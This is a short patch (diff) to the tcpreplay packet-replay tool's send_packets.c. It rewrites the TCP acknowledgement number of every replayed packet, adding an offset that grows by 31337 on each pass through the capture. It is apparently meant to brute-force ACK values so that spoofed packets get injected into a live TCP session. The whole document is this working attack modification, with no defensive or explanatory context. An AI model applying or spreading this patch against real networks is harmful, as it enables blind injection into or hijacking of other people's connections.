diff -u -r tcpreplay-3.4.4/src/send_packets.c tcpreplay-3.4.4.patched/src/send_packets.c --- tcpreplay-3.4.4/src/send_packets.c 2010-04-05 02:58:02.000000000 +0200 +++ tcpreplay-3.4.4.patched/src/send_packets.c 2013-08-06 10:56:51.757048452 +0200 @@ -81,6 +81,9 @@ void send_packets(pcap_t *pcap, int cache_file_idx) { + static u_int32_t ack_bruteforce_offset = 1; + uint32_t* ack; + uint32_t orig_ack; struct timeval last = { 0, 0 }, last_print_time = { 0, 0 }, print_delta, now; COUNTER packetnum = 0; struct pcap_pkthdr pkthdr; @@ -154,6 +157,9 @@ #endif #if defined TCPREPLAY && defined TCPREPLAY_EDIT + ack = (uint32_t*)(pktdata + 14 + 20 + 8); + orig_ack = *ack; + *ack = htonl(ntohl(*ack) + ack_bruteforce_offset); pkthdr_ptr = &pkthdr; if (tcpedit_packet(tcpedit, &pkthdr_ptr, &pktdata, sp->cache_dir) == -1) { errx(-1, "Error editing packet #" COUNTER_SPEC ": %s", packetnum, tcpedit_geterr(tcpedit)); @@ -176,7 +182,7 @@ /* write packet out on network */ if (sendpacket(sp, pktdata, pktlen) < (int)pktlen) warnx("Unable to send packet: %s", sendpacket_geterr(sp)); - + *ack = orig_ack; /* * track the time of the "last packet sent". Again, because of OpenBSD * we have to do a mempcy rather then assignment. @@ -205,7 +211,7 @@ } } } /* while */ - + ack_bruteforce_offset += 31337; if (options.enable_file_cache) { options.file_cache[cache_file_idx].cached = TRUE; }